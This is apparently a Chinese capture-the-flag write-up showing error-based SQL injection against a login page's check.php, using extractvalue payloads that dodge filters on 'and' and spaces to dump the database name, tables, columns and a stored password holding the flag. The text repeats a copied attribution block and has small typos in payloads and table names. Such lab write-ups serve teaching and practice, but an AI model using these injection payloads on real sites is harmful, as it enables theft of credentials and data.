我们用万能密码试了一下发现不可行
正常注入发现会过滤and 空格,但没过滤or。
可以结合报错注入来做
extractvalue(1,concat(07xe,执行语句))
updatexml(1,concat(07xe,执行语句),1)
这里面我们用到的是
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
这里就是我们爆出的数据库的名称“geek”
接下来就是
admin'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))#
作者:低调求发展
链接:https://www.jianshu.com/p/04ab44c8babd
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
这个是用来报数据库里面的表的这里面就是表的名称"H4rDsq1a"
之后就是爆字段
admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
作者:低调求发展
链接:https://www.jianshu.com/p/04ab44c8babd
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
然后我们就可以看到,接下来就是报密码
admin'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)))))#
因为我们用只能查看前面的信息,后面的信息就是要用
使用{left(),right()}
这里我们就用right()就ok了。
admin'or(extractvalue(1,concat(0x7e,(select(right(password,14))from(H4rDsq1)))))#
然后就会得到另一半的flag。